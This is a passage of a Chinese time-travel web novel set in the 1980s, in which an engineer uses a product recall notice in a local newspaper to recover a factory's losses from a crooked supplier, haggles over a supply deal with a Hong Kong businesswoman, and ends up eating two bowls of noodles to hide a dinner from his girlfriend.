“问你话呢!说话!”朱厂长一脚踹在财务科科长的屁股上。
对方颤颤巍巍扶了扶眼镜,带着哭腔道:“已经到货且付过款的,大概有一万组,付的都是全款。后续还有两万组,咱们也交了30%的定金……还好今天检测报告送得及时,要不然,剩下的70%尾款咱们也发过去了。”
“有钱啊!八零厂是真有钱!”
杜国强感慨道。
朱厂长怒不可遏,看着夏江海的圆脑袋就气不打一处来,“****!”他一拳挥了过去,周边的人赶忙上前拦住。
“八零厂这点家底,全都让你个王八蛋给败光了!”
八零厂现在的资金分两部分:一部分是作为老牌军工企业的长期结余,另一部分则是竹清莲的玛瑞贸易的投资。
原本这两笔钱加起来,足以让八零厂拥有充沛的现金流,可经王五爷这么一搅和,怕是剩不下多少了。
“我去追!我去要!”夏江海唯唯诺诺地咽了口唾沫,“我去让王五爷把这笔钱吐出来!”
“吐?他拿什么吐?”杜国强淡淡道,“人家本就是抱着来赚快钱的念头来的。八零厂的实力,能伸到人家江泰省去?”
他心里清楚,王五爷势力复杂,黑白两道都有接触,要不然也不能横行霸道十几年,直到21世纪初才被枪决。
就八零厂这几个零星的领导,在人家眼里根本不算盘菜。
“杜技术员,您看这摊子该怎么收拾啊?”有人急着问道。
“是啊,当初决定生产自行车,可是您和朱厂长牵头敲的锣。眼下出了问题,您可不能不管我们啊!”另一个领导也跟着附和,语气里满是焦灼。
杜国强望着开口的这些人,不禁有些好笑——现在才想起他是当初这个项目的创始人了?
一旁的朱厂长更是气不打一处来,扬手就给了刚才开口的两人两巴掌:“你们还有脸在这儿说?当初见利忘义,撺掇着跟王五爷签合同、放弃安阳厂的时候,怎么没想起来找杜技术员?现在捅出这么大的娄子,想让杜国强来给你们擦屁股?门儿都没有!”
朱厂长深吸一口气,望着众人沉声道:“
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这件事,我必须汇报给区里。”
夏江海咽了口唾沫,脸色有些苍白:“老领导,这件事……要不咱们还是在厂里先讨论讨论再说?”
“是啊,朱厂长,”另一个人也连忙附和,“我觉得这事咱们可以自己想办法解决,别给区里添麻烦了。您和杜技术员这么有本事,肯定能想出办法来的。”
“我想问各位一个问题。”杜国强打断了众人的话,在原地踱了几步,目光扫过在场的人,“我凭什么要帮八零厂这个忙?八零厂不是早就跟我划清界限了吗?收回了我妈的工作,取消了我妹妹上幼儿园的资格,你们还一致通过,要收回我在八零厂的住房。”
他冷笑一声,继续道:“我猜,你们之所以能这么快聚到一起,怕是因为之前就在开会讨论我的事,正好赶上自行车产品爆雷了吧?”
听到杜国强的话,八零厂的这些领导们只觉得脸上一阵发烫,臊得慌。
本来大家都以为,签下和王五爷的这笔生意后,杜国强在八零厂的作用就可有可无了。
所以先前夏江海在会议上提出收回杜国强住房时,没人反对——谁都不想跟现任***结仇。
可万万没想到,这才过了一夜,八零厂就落到了需要把杜国强供起来、像对待活爷爷那般求着他的地步。
“杜大技术员,您得理解咱们的苦衷啊。”有人连忙开口,“您的工作、您母亲的工作,还有您妹妹的学籍问题,这都是小事!只要您肯帮八零厂这次,我们肯定记您这份大恩!”
“是啊是啊,杜大技术员。”
另一个人也赶紧接话,“您要是真能解决这档子事,我把我家的房子让出来给您住,这总成了吧?”
一群人围着杜国强,虚伪地口若悬河。
杜国强只觉得耳边像有一群苍蝇在嗡嗡叫,他摆了摆手:“对不起,只要你们这批人还在八零厂当家做主一天,这个忙,我坚决不帮。”
说完,他不再理会众人难看的脸色,转身走出了会议室。
第69章 正式编制
吃奶前是娘,吃奶后是后娘。
这样养不孝子的事,杜国强可不会做。
等杜国强离开后,八零厂这些领导们一个个大眼瞪小眼,有些不知所措。
大家伙都清楚,他们这些人不过是狐假虎威。
管理管理工人还凑合,可真要挑些技术上的毛病,那一个个全都是熊瞎子掰苞米,白忙活。
“朱厂长,您跟杜国强关系好,要不您再试试劝劝他?”
朱厂长白了一眼对方,也不再搭理这种**,扭头望向自己的秘书:“小王,去给我准备车子,现在就到区政府。”
“好嘞,厂长。”秘书小王很是活跃。
这眼瞅着,夏江海那短暂的篡位***时代就要结束,朱厂长即将再次登基,自己这个秘书也总算能坐得安稳些了。
看着朱厂长带着秘书离开,围在会议室里的众人一个个傻了眼,似乎已经看出自己的前途走到了头。
……
“区里面对那些曾经在会议上把你投出去的领导的处决结果已经下来了。”朱厂长敲了敲桌面,将一纸文件递到杜国强面前,“全部停职处理,扶持中层干部接任各职位。”
朱厂长抿了口茶,又开口道:“就连夏江海都被撸了下去。这次,八零厂的这笔生意损失预计能达到13万元,区里各领导很震怒,估摸着这些人以后回不到领导级别了。”
听到这个数字,杜国强咂了咂嘴:“老天爷,13万元!”
这笔金额,即便放到后世都不是一个小数目,更何况是在一穷二白的80年代。
上次安阳厂被拖欠1万元工资,区里就已经闹出大动静,而现在,八零厂却足足亏了13万。杜国强都能想到区长那副铁青的脸了。
“还是那句话,”朱厂长嘿嘿笑了笑,“八零厂是你带出来的兵,虽说这兵有时候不太听话,可你总归该帮衬一把,不是?”
他的语气里颇带一丝恳求。
会议室的变故发生后,朱厂长就马不停蹄地找到区长说明了情况,区长那边立刻给出了意见,还要求他妥善处理此事。
所以朱厂长特地“负荆请罪”,让秘书小王搬来好几袋大米,还有专供内部的油,到了杜国强家,就极为热络地跟他扯起了家常。
杜国强似笑非笑地望着朱厂长:“我说,厂长同志,你怕是没忘吧?先前你们八零厂的人还催着我搬房子呢。你现在买这么些东西来,我总不能连这些一块儿搬到新房子里去吧?”
“哎呦,搬什么房子嘛,八零厂就是你的家。”
杜国强摇了摇头:“那可不行。我都跟人家居委会说好了,一个月五块钱,独门独户,里面还有两棵李子树,收获时能摘李子吃呢。”
听到这话,朱厂长立刻从自己兜里掏出20块钱,递到一旁的秘书小王手里:“小王,没听到杜技术员说的话吗?他爱吃李子,赶快,现在就去公交车站买几十斤李子回来,让杜技术员可劲吃!”
杜国强赶忙伸手拦住:“别了,朱厂长。您这李子买回来,怕是我们一家四口肚皮吃破都吃不完。”
朱厂长哈哈一笑,连忙给杜国强倒上热茶:“小杜同志,你要对八零厂有信心。先前咱们不是都被捋下来了吗?现在风水轮流转,当家做主的人已经变了,过去的事情就不要揪住不放了。”
杜国强平白无故被撸了这么一回,要是就这么轻易原谅八零厂,日后旁人还不觉得自己随便可欺?那还怎么跟人家做生意?
朱厂长叹了口气道:“罢了罢了,是八零厂对不起你。说吧,你怎么才能原谅八零厂?咱们厂还有几十户人家等着吃饭呢,其中还有你表哥,你总不能眼睁睁看着他们一个个停薪留职吧?”
杜国强淡淡道:“朱厂长,我的要求也很简单。第一,我妹妹上学,希望厂里继续让她们挂靠幼儿园。”
朱厂长拍了拍胸脯:“没问题!我一会儿就跟幼儿园的人说,
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这事就算是我被捋下来,也绝对不让人动你这两个妹妹!”
杜国强点了点头,又道:“第二点,便是我母亲的工作。
她之前回来兼职,我希望八零厂能将她转为在编的正式工。”
“正式在编?”朱厂长愣了一下,随后咳嗽了两声,道:“这有些难度。”
“那就请您另请高明吧。”杜国强站起身来,道,“我还要去跟王五爷忙注塑机的事呢,怕是不能继续跟您一块喝茶了。”
“解决,我这就解决!实在不行,我让区里给指标,总行了吧?”朱厂长眼见杜国强真的要走,顿时急了,赶忙伸手把他拽住,当场同意了让朱桂芳入编的请求。
杜国强嘴角顿时上扬起来:“那我倒是可以再掺一手。”
让朱桂芳有个在编的工作,是杜国强下意识提起的。
他原本想让朱桂芳在自己成立公司后,到自己那里当个后勤部长。
可转念一想,自己创办工厂肯定是由小到大,在总共还没几个人的时候就安排一个后勤部长,难免让有些人觉得有徇私的嫌疑。
索性就让八零厂再想想办法,把自己亲妈塞进去。
相信朱桂芳这个老实巴交、在农村忙碌了一辈子的女人,听到自己有了编制,定然会把牙都惊掉。
“行了,你提出的要求我也都答应了,现在咱们该谈谈,怎么才能让这一切恢复原样吧?”
朱厂长神色凝重地开口问道,“咱们现在的情况不容乐观。区长那边已经通过官方手段跟江泰省沟通过了,可江泰省那边装聋作哑,明显是要硬保。”
杜国强点了点头,道:“很正常。王五爷所代表的是江泰省的龙头企业,保一保也在情理之中。咱们想通过官方手段,作用很小,即便打官司,也得拉扯个几年功夫。”
“那你有啥法子吗?”朱厂长急忙问道。
杜国强点了点头,他深吸了一口气,道,“召回有问题的自行车。”
第70章 大新闻
召回问题产品,并非杜国强的原创,实际上这是后世一些较为负责的大企业惯用的手段。
而且在后世,这种召回的产品普遍是手机、汽车这类较为昂贵的商品,造成的社会反响异常庞大,每次召回都会引起全民在一段时间内的热议。
如果对比这个时代的产物,杜国强倒觉得自行车也可以放到同一类别讨论。
当然,这和现在大多数企业的准则有些背道而驰。
朱厂长颇为吃惊地说:“召回产品?这……这不是让厂子雪上加霜吗?现在用新零件生产的这批自行车,起码卖出去了两三千辆,我怕我们八零厂赔不起啊。”
“没说要八零厂去赔。”杜国强笑了笑,“召回公告里着重强调一下,八零厂是因为采用了江泰省那家公司的零部件,才遭此厄难的。”
他补充道:“可以象征性地召回几辆,以此增加公众的信任度。这样一来,火力就会全部转移到江泰省政府那里。对方即便再想保着王五爷,也必须得给公众一个交代。”
朱厂长一听,顿时眼前一亮,猛地一拍大腿:“嘿,这还真是个好法子!”
“江泰省和咱们省可不一样,人家是经济大省,在国内得坐第一排吧?这么大的体量,要是面子上被这么数落,肯定会影响威信。所以无论如何,对方也只能站出来赔偿。”
“只是这具体格式该怎么写?”朱厂长有些疑惑。
他那两下笔杆子,在厂报纸上发布个食堂菜谱以及工资支出还行,再往高深就有些难为他了——毕竟他是当兵出身,没经过文字的熏陶。
“这事您包在我身上。”杜国强一口应承了下来,这算回到了他的知识范畴。
感谢苍天,感谢党,感谢后世那些无良媒体所创造性发明的叙事手法。
听到杜国强将此事包揽,朱厂长也松了口气:“交给你小子我放心。上次你写的那份关于三洋厂的**,功底很扎实,不少人都在背地里骂呢。”
杜国强咳嗽了一声,摸了摸自己的鼻子:“朱厂长,我这可是帮你干活呢。”
“哈哈,一码事一码事。”
送走朱厂长后,杜国强便坐在桌前,掏出了那根自己用了十多年的钢笔,思索起来。没一会儿,他眉头舒展,有了思路。
……
陆川报社最近很是清闲,编辑们一个个懒懒散散的。
上次报社里发表了一篇大新闻,足足让报纸的销量涨了4倍,当月所有编辑的薪水里,都额外多了一份数额不小的奖金。
这深深刺激了这群跑一线的“老油条”,一个个深入基层,想要再挖篇报道出来多赚些银子。
可惜陆川区不大,**性新闻哪能天天有?这个月报纸的销量非但没上去,反倒下降了20%。别说再发奖金,没扣工资就不错了。
主编华有为见众人死气沉沉,叹了口气,连连拍手:“都精神点!这才几点,想回家睡大觉的提前请假。”
可这番话没起到几分振奋作用,反倒激起不少人不满。
“主编,你说这都多长时间了?咋还没有**性新闻呢?再这样下去,报纸销量肯定又要跌了!”
“是啊主编,我老婆上个月见我多拿那么多钱,一直追问是不是涨工资了。这月见我只拿回这点,非要拿鸡毛掸子抽我呢!”
听着周围一片诉苦声,华有为也是头大:“大家的情况我理解,可新闻事件又不是编故事,哪能天天有?还得等时机。”
“信,有信来了!”正当华有为安抚众人时,负责行检守法板块的年轻小伙子激动地站了起来。
华有为皱起眉头:“小王,稳重些好不好?收个信而已,又不是啥大事。”
报社几乎每天都收信,有的是各地读者的建议,有的是单位催缴费用的通知,收发量本就大,所以专门把这差事交给了社里的年轻编辑。
收信的小王却面色通红:“不是的,主编!这次的来信不一样!您还记得上次那篇**性新闻的发件地址吗?就是写那篇的那个!”
此话刚出,所有编辑瞬间扭头注视着小王。华有为也来了精神,快步走过去,从小王手里接过了来信。
“主编,这回他发的啥?总不能还给咱们整出一条**性新闻吧?”有人舔了舔嘴唇。杜国强上次那篇**,可是让报社吃了不少红利。
华有为没有搭话,面色凝重地把整封来信看完,深吸一口气,眯起了眼睛。他也
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不顾报社办公室内禁止抽烟的规定,直接点上一根烟,道:“下个月,全体都准备收奖金吧!”
“真的有大新闻?”报社里的编辑也顾不得手头的工作了,一个个围过来看热闹,脖子伸得老长,像长颈鹿似的盯着信件上的文字。
“产品召回信?啥是产品召回啊?”有人不解。这个词实在太过新潮,很多人闻所未闻。
等到看完信件的全部内容,大家才豁然开朗。
“我的天呐!”有人忍不住吞咽了一口口水,“写这封信的到底是谁呀?上次把三阳厂的厂长整得半死不活,还让人家儿子蹲了牢。这次非但没停手,反倒要向江泰省开炮了!”
这封信虽说在向公众承认错误,说八零厂生产出了劣质产品,还诚恳地乞求大家原谅,但字里行间的每个字,都在暗示是江泰省的合作企业把他们坑了,江泰省的企业不值得信任。
“**,这封信您真的敢发吗?”
华有为笑了一下,舔了舔嘴唇:“发,为什么不发?下个月准备好麻袋,给我数钱!”
“明天报纸的内容全部撤掉,只留这一篇。新闻嘛,咱们得大肆宣扬,给他添把火!”
“学学,你们都学学!”主编指着这封信,手指像是在抚摸至宝一般,“你们看看人家这用词,字字珠玑!亏你们还是搞新闻的,有人家一半功力吗?”
“主编,您也别说了,我们知道比不上人家。”有人接话,“那您倒是把人家给挖回来呀,整天在这酸我们有什么用?您把他请回来,让他指点我们一番,咱们报纸的销量不就上去了?”
“我倒是也想。”华有为叹了口气,“上次我特地去八零厂,找他们厂长,想跟他把写这封信的人要过来。哪知道那姓朱的王八蛋,把我骂了个狗血喷头,说我癞**想吃天鹅肉,直接把我给轰了出来——连对方的名字都没告诉我!”
“主编,您得学学刘玄德三顾茅庐的精神,这‘诸葛亮’您必须给咱们陆川报社请回来!”
华有为掐灭了手中的烟,点了点头:“放心,这小子肯定跑不了。不过先把咱们手头的事办妥,把这份报纸给发出去。”
“让陆川报社再火一把!”
第71章 产品召回
徐三郎是陆川区的一名普通初中教师,平日里没什么特别爱好,唯独痴迷读报纸。
每天,他都要花五分钱去报刊亭买一份报纸,并且乐此不疲。
周围的同事对他这种癖好很是不屑,私下里嘲讽他。
徐三郎对此感到憋屈,却也只能在背地里骂一句“这些人不关心地区大事”,再无其他办法。
徐三郎坐在办公室里,吃了两口包子,翻出今天的报纸。
见报纸有些不一样,上只有一篇新闻,他顿时一愣,随即读了起来,瞬间便被吸引——“产品召回。”
徐三郎越读越震惊,连忙扭头望向办公室里的另一位老师:“老李,我记得你前几天是不是买了八零厂的那款新自行车?”
被称作老李的那位爽快地点了点头:“是啊。你别说,那自行车长得可真带劲,秀气得像个娘们似的,我都舍不得使劲折腾它。”
“你那车有问题。”徐三郎说道。
老李脸上一抽,顿时有些不满:“徐三郎,你怎么说话呢?我买了新车,你不祝贺一下就算了,咋还咒我这车出问题呢?”
“就是老徐,你说话客气点,积点口德!”
早有人对徐三郎这沉默寡言的性格不爽,借机发挥道,“人家老李招你惹你了?读报纸把自己读傻了?”
听到办公室里众人的冷嘲热讽,徐三郎气得直哆嗦。他一把将报纸甩在老李的办公桌上:“自己看看,你买的那款自行车要被召回了!”
“啥玩意?”老李一脸愕然地拿起报纸,越读脸色越苍白。
“让你们平时多看看报纸,长点脑子,我说什么来着?报纸是知识之窗,你们教书育人的同时,也别忘了了解些新东西,眼下这不就用到了?”
办公室里一群人围了过来,纷纷加入讨论。虽然对徐三郎的话不怎么受用,可眼下这情形倒也无法反驳,只能在报纸上找些话头。
“这篇新闻是八零厂发的,主动承担错误,不错啊!只是八零厂不大,这么一整,免不了要承担些损失。不像报纸里说的另外那家供货商,太不像话了,一看就没气魄,产品出问题,连个屁都不敢放!”
“哼,人家江泰省是经济发达地区,对底下企业最护犊子了,咱们这些平头百姓还不是只能吃亏上当?”
大家伙连课都不备了,索性在办公室里打开了话匣子。
陆川报社这一期的内容影响力很大,全区范围内不少人都在议论,甚至外省的报纸也在第二天刊登了这件事。
仅仅三四天的功夫,江泰省的名声,在老百姓眼里便肉眼可见地变坏了。
等到江泰省的实权人物得知这件事时,报道已经发出去七八天了。
全省上下如临大敌,立刻召开了重大会议。可眼下想撤掉这篇声明,早已为时已晚。
这种情况下,江泰省也不敢再藏着掖着,只能选择断臂自保,将王五爷的企业推到台前,连夜发表声明,称绝对不会姑息对方这种以劣充好、欺骗消费者的行为。
要求王五爷的公司立刻召回所有问题产品,退还经销商采购的钱款。
一下子,在江泰省风头正甚的王五爷的公司,瞬间如同秋日落叶般,掉了半条命。
“五爷,现在可怎么办?”
王五爷的公司内,副总一脸哭丧地盯着王五爷,“上面要求咱们退还所有收入,还要赔偿……这要是真照做了,咱们公司可就剩个空壳子了,这几年赚的钱都得搭进去!”
王五爷手里的佛珠被捏得咯咯作响,他深吸一口气道:“白干总比坐牢好。这已经是我那位老朋友在帮忙了,要不然你以为咱们这些人能少得了一顿牢饭?去,现在就想办法退钱!”
公司副总欲哭无泪,一下子像老了十岁:“哎,这些年忙活了个啥……”
“还没到绝路,别说丧气话。”王五爷冷冷打断,“虽说不知道这事背后的主使,但肯定跟八零厂脱不了干系。你去查查最开始发召回声明的那家报社,看看能不能从他们那
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儿问到写稿人的信息。”
副总愣了一下,试探着问:“五爷,您这意思是……要整回去?”
王五爷眼神一沉,冷冷道:“从我王五爷嘴里叼肉吃,哪有这么容易?我倒要看看,是哪路神圣打飞了我的钱袋子!”
副总走后,王五爷坐在椅子上若有所思,忽然嗤笑一声:“八零厂吗?倒是有意思。”
他在办公桌里翻找了一番,赫然掏出一张设计图纸。若是杜国强在场,定会震惊——这张图纸正是他给八零厂的原版。
王五爷闭目沉思片刻,拿起电话。很快电话接通,他沉声道:“让下面的人准备准备,咱们江泰省,也能仿造八零厂的自行车了。”
饶是杜国强也没料到,王五爷对八零厂的图谋远不止赚一笔快钱。他原本的盘算,是把八零厂搞垮后,自己仿制自行车,成为“飞天一号”的独家生产商,借此抢占国内其他一线自行车品牌的市场。
却不曾想,八零厂不仅躲过了他的算计,还反将了他一军。
所幸如今已经撕破脸皮,王五爷也不再藏着掖着,直接亮出了自己的狼子野心。
……
江泰省的动作迅速,很快便催促王五爷的公司召回所有问题产品,还退还了八零厂的资金。
朱厂长简直要喜极而泣,他压根没指望着这钱能拿回来。
挽回这么大一笔损失,心里头比赚了钱还要敞亮。久违地,他特意嘱咐厂里的文艺组,给全体职工放了场电影。
电影是1965年的老片子《地道战》,虽说大伙儿早就看过好多遍了,可工厂一组织放映,还是有不少工人凑过来——不为别的,就图个热闹。
杜国强也不例外,提前备好了瓜子,拉着亲妈和两个妹妹,早早地就往放映场去了。
正当他看到小鬼子化妆成八路要进地道时,身边忽然有人拍了拍他的肩膀:“这就是大陆的电影吗?”
杜国强扭头一看,顿时一愣:“竹女士,您怎么来了?”
第72章 检测合格
“集团打算在内地再寻找两个投资项目,顺便来看一下我的合作伙伴。怎么,不欢迎吗?”
“欢迎,自然欢迎,我双手双脚都表示赞同!”杜国强做了个夸张的两脚朝天动作,将竹青莲逗笑。
这位港岛来的大集团女强人,没有丝毫做作,也不嫌弃摆在广场上的木头椅子,大大方方地坐了下来,盯着荧幕上闪烁的黑白画面问:“这是什么片子?”
“《地道战》”
“哦,是这个。”竹青莲点了点头。
杜国强有些诧异的望向她:“你看过?”
竹青莲爽快地点头:“我父亲是一名抗战迷,大陆很多关于抗战的电影他都看过,我也算是耳濡目染,跟着看了个七七八八。”
“想不到啊,竹女士的红色基因很浓啊。”杜国强给竹青莲竖了个大拇指,忽然想到一件事,扭头问道,“港岛现在,有什么电影正在上映吗?”
竹青莲皱着眉头思索了一番:“上个月我和家人一起去电影院看了《鬼马小精灵》,是这部片子。”
杜国强恍然大悟地点了点头,随后嘿嘿一笑道:“港岛应该也有盗录的碟片吧?”
竹青莲好奇地打量着他:“有是有,你想干什么?”
“下次竹女士如果来内地,不妨也让我们见见世面,感受一下港岛的电影文化,促进咱们两岸的交流嘛。”
竹青莲无奈地瞥了杜国强一眼:“这算是**了吧?你想让我一个集团老总,冒着丢掉名誉的风险帮你带这个?”
杜国强笑道:“随口说说。”
竹青莲嘴角微微扬起:“你还真信了?这算什么**,一部碟片而已,算得了什么大事?回头我让助理给你邮寄过来。”
杜国强顿时无语。
这丫头,拿自己寻开心呢。
虽说《地道战》只有96分钟,但杜国强因为对其中的情节太过熟悉,才看了半场,就有些昏昏欲睡。
倒是身边的竹青莲看得津津有味,跟着工人群众们看完了整场,片尾时还拍手示意,引得众人纷纷注视她这名穿着时髦的外地来客。
“走吧,我带你去吃个夜宵。”竹青莲主动开口邀约杜国强。
杜国强也没拒绝。
能蹭一顿是一顿,何况,想蹭港岛大老板的吃食,别人还没这机会呢。
由于来八零厂已有几回,竹青莲对附近的小吃店基本熟悉,径直带着杜国强来到西街口的一家面店。
这家面店的面做得十分有味道,料子给得足,即便到了深夜,依旧人来人往。
不过杜国强知道,之所以有这么多人来捧场,全是因为主家做的那碗牛肉面。
早几年,牛还被视作重要的耕种资源,不允许私人宰杀。
那时候,这家店就和地方上的某些生产大队私下勾结,偷着倒卖一些老死的耕牛做牛肉面。
如今关于牛肉的限制部分放开,来吃面的人不减反增,更多了。
竹青莲点了两碗牛肉面,顺带让店家切了二两牛肉。
她吃东西的样子算不上淑女,一筷子搂到底,却透着种别样的洒脱。
“你上次让我在港岛检测的那些注塑零件,报告已经出来了。”竹青莲含着面说道。
杜国强赶忙追问:“结果怎么样?”
“全部合格。”
竹青莲擦了擦嘴,用一种难以描述的神情盯着杜国强。
“你到底是怎么办到的?据我所知,这应该是你头一回接触注塑设备吧?即便是经验丰富的注塑师傅,接触新设备想要稳定生产出合格零件,都需要几个月的调试时间,更别说是要求更严格的汽车零件了。”
杜国强笑了笑:“也许是天赋吧。”
“你这天赋有些吓人了。”竹青莲接着道,“原本我以为你说一年之内付清买这台注塑设备的钱是天方夜谭,现在来看,完全有可能。”
杜国强盯着竹青莲问道:“这么说,玛瑞贸易是看上我生产的注塑汽车零件了?”
竹青莲点了点头:“我
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们把你的零件寄给了一些合作的汽车厂商,他们对此非常有兴趣。甚至我跟他们说这零件产自大陆时,他们都有些不敢相信,觉得这个质量的零件不可能来源于社会主义国家。”
杜国强笑了笑:“现在他们见到了。”
虽说80年代初,大陆的许多重工业已搞得有声有色,可绝大多数西方国家依旧戴着有色眼镜,觉得内地生产的任何商品都只能是经过初级加工的原材料。
即便互相建交,洋人骨子里那种居高临下的傲慢也没半分改变。
但杜国强的灵魂来自后世,脑子里装着这个时代尚未掌握的高科技技术。
单说注塑机的使用,他就远比那些所谓的专家厉害得多,能生产出远超当下工业水平的零件,也就不足为奇了。
“看来是无缘让你做我们玛瑞贸易的员工了。”竹青莲语气里带着几分惋惜。
上次杜国强和她立下赌约,是以注塑机的购买为赌注——要是杜国强没能在规定时间内还清买注塑机的欠款,就得主动“**为奴”,去玛瑞贸易做几年苦工,反之,便相安无事。
眼下这情形,显然那黑奴生活是不用再过了。
“我依旧把自己当成玛瑞贸易这边的人。”杜国强笑起来,露出一口白牙,“只不过,我更倾向于咱们是合作伙伴的关系。”
竹青莲点了点头:“你说得对,你有资格做玛瑞贸易的合作伙伴。”
说着,她从随身包里掏出一份文件,放在牛肉面馆的桌子上,稍有些突兀。
杜国强接过来一看,赫然是份供货协议。
“来之前我已经调查过内地市场了,”竹青莲说道,“对于你生产的合格零件,玛瑞贸易愿意全盘接受。”
杜国强翻看着协议,特地留意了购买价格,随即笑着把合约推了回去:“竹女士,你的提议我很感兴趣,只是金额方面我无法接受。要是玛瑞贸易想要我的零件,价格至少得在现有基础上加价百分之二十。”
第73章 再来一碗牛肉面
竹青莲眼皮几乎不可察地跳了跳,饶是见多识广如她,也被杜国强这狮子大开口惊了一下。
“这不可能,我们现在给出的价格已经很合理了。”
杜国强摇了摇头,态度坚决不让步:“我觉得现有价格还有商量的余地。”
竹青莲沉默片刻,目光落在杜国强脸上,轻轻叹了口气:“刚才还跟我你侬我侬的,转眼就要把我一脚踹开,这是要结束咱们的“蜜月期”啊?”
杜国强笑了笑,语气平静却带着不容置疑的笃定,“生意就是生意。”
“单说协议里的价格,放在内地确实不算低。”杜国强看着竹青莲,语气不卑不亢。
“但您也清楚,我的产品质量,跟国际一流水准比起来毫不逊色,某些指标甚至还要更优。这种情况下,若按现在的价格供货,公平显然是不对等的。”
他顿了顿,指尖轻轻敲了敲桌面:“玛瑞贸易既然做的是国际贸易,不会不明白一分质量一分价的道理。真要论起性价比,我不信玛瑞贸易会吃亏。”
“生意不能这么算。”竹青莲把面前的牛肉面推到一旁,看向杜国强。
“玛瑞贸易跟你合作,其实要承担不少风险——比如政策变动,还有各种不稳定因素。”
“竹女士,”杜国强迎上她的目光,“要是真在意这些,您当初就不该来内地建厂。您现在的举动,跟您说的这些话,是矛盾的。”
“杜先生还真是尖牙利齿。”
竹青莲无奈地摇摇头,却依旧没松口。
她并非吝啬之人,先前邀杜国强去港岛工作时开的是天价工资,还冒着风险为他购置注塑机。这些投入本就带着风险,她心里清楚。
但若杜国强做的汽车注塑件真能被西方厂商认可,玛瑞贸易等于握住了一条源源不断的财路。这种时候,哪怕每天少赚一点,长期复利累积下来也是笔惊人的数目,所以价格底线必须守住。
想到这儿,竹青莲拿起筷子,三两口就把碗里的牛肉面吃了个干净。她放下筷子,看着杜国强说:“明天晚上八点,我一个内地朋友办聚会,我邀你一起去。地址写在这张纸上了。”
她把纸条递过去,补充道:“希望到时候咱们能再好好谈谈。”
第一轮较量就此落幕。竹青莲结了账,转身离开了这家牛肉面店。
“真浪费。”
杜国强望着碗里剩下的二两牛肉,啧了两声,转头找店家要了瓶辣椒酱,拌进面里,呼噜呼噜吃起这顿碳水大餐。
吃得津津有味。
吃完后,他哼着不成调的小曲出了面馆。
跟竹青莲的这桩事,就算未必能敲定那20%的涨价,对方多半也得让些利润出来——这点,杜国强心里是笃定的。
杜国强从家门前经过,没打算直接进去,想先散散步消消食。
忽然,门口传来一声惊喜的呼喊:“杜国强!”
他扭头一看,竟是自己的正牌女友刘静怡。
“你去哪了?我找了你半天都不回家。”刘静怡今天特意打扮过,穿一件海军的蓝格子衬衫,头发洗得蓬松柔软,那张清丽的脸蛋瞧着格外动人,连杜国强都看愣了几秒。
“我……我……”他本想说去跟刚到的女老板吃饭,又怕刘静怡多想,话到嘴边改了口,“我刚才跟朋友去打牌了。”
刘静怡脸上满是兴奋,一蹦一跳地跑到杜国强身边,献宝似的举起一个红本子:“你看这是什么?”
杜国强接过来翻开,只见上面写着“夜校结业证书”。他愣了愣,抬头看向刘静怡,语气里带着惊讶:“你去上夜校了?”
“这次夜校正好教了机械制图的基础,我想着闲着也是闲着,不如去学学,往后说不定能帮上你。”
刘静怡说着,眼里闪着光,带着点小得意,“没多久就学完啦,夜校老师还夸我挺有天赋呢。”
她把证书往杜国强手里
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塞了塞,语气里满是雀跃:“你看,以后你画图纸的时候,我就能在旁边搭把手了。”
“厉害啊,不愧是我杜国强的女朋友!”杜国强嘿嘿一笑,一把将刘静怡搂进了怀里。
刘静怡往他身上凑了凑,用鼻子轻轻嗅了嗅,疑惑地抬头问:“你去吃牛肉面了?”
杜国强心里咯噔一下,赶紧咽了口口水,咳嗽两声掩饰慌乱:“没吃!我跟谁去吃。”
“那正好”刘静怡眼睛一亮,拉着他的胳膊晃了晃,“咱们俩好久没一块去那家面馆了,就当是庆祝我夜校毕业,一起去吃吧?”
“啊?”杜国强脸上的笑容瞬间僵住,心里咯噔一下——这可真是怕什么来什么,顿时傻了眼。
“吃面就算了吧,下次再去。”杜国强连忙劝阻。
刘静怡撇了撇嘴,脸上明显透出几分低落:“咱们都好久没一块去吃过了……”
一听这话,杜国强咬了咬牙。
罢了!
他一拍大腿:“得!那就再去吃碗面!”
晚上九点多,面馆的生意已经散了一半,老板正收拾着几张脏桌子。
“老板,来两碗牛肉面!”刘静怡大大方方地喊道。
“好嘞!”老板扭头应着,看见杜国强时却猛地一愣,伸手指着他:“你不是……”
杜国强眼疾手快,一把按住老板的手指,死死盯着他,堆起笑:“对,我就是先前常来的熟客,最近没来,今天特意来给你捧捧场,哈哈!”
老板瞬间会意,一拍脑门:“哦!我想起来了,就是你!又来吃面啊?”说着,还冲杜国强佩服地竖了个大拇指。
杜国强笑得有些不自然,带着点说不出的悲凉:“哈哈,是啊。”
很快,两大碗满满当当的牛肉面端了上来。
换作平时,杜国强见了保准要夸上几句,可眼下,刚吃了一碗面加二两牛肉的他,只觉得胃里沉甸甸的,隐隐约约有些犯恶心。
第74章 交谊舞会
“你怎么不动筷子啊?”刘静怡有些好奇地望着杜国强,“这可不像你,难不成最近该吃素了?”
“还真是,我最近看破红尘,打算回家做和尚!”
刘静怡白了一眼他,道:“贫嘴,赶快吃!”
杜国强尴尬地摸了摸自己的鼻子,吞咽了一口口水,颤颤巍巍地拿起筷子,心里不禁痛骂起这个面馆老板。
分量给的这么多干什么,有没有点脑子,不会做生意吗?
往日实惠的牛肉面,如今在杜国强看来,多的竟有些令人绝望。
最终他还是咬了咬牙,将那面条送进了自己嘴里。
刘静怡见状笑了起来:“我就说嘛,你肯定还是爱吃的。赶快吃,一会儿我这碗分一半给你。”
“啥玩意?”
杜国强内心一颤,这才想起来,刘静怡胃口不大,平日陪自己来这里吃面,也总是吃一半,剩下的都要让他加餐。
往日里,杜国强肯定是乐意的,只是现在,他感到了莫名的压力。
杜国强吞了口口水,咳嗽了两声,道:“小刘同志,你得多吃点,最近都瘦了。我看你这都快皮包骨了,身材都走样了。”
“是吗?”刘静怡有些担忧地摸了摸自己的脸蛋,“感觉和以前没什么变化。”
“这些差别你自己是看不到的,得让外人来看。”
杜国强极为贴心地将自己碗里的牛肉夹到刘静怡碗里:“来,多吃两块。我都听人说了,这牛肉……丰胸。”
这话本是杜国强胡编乱造的,刘静怡听了,瞬间脸红成一片,有些恼羞成怒地跺了跺脚:“什么丰胸,不许胡说!”
不过虽然嘴上呵斥,刘静怡的动作却很诚实。她偷偷瞅了瞅周围,见没人注意,便一口将所有牛肉片都吞了下去。
吃完这顿饭,杜国强总算是体会到了女性同胞们怀胎九月的辛苦。
他捂着自己的肚子,感觉随时会炸裂开来,不得不站起来扶着栏杆。
“你今天好生奇怪。”
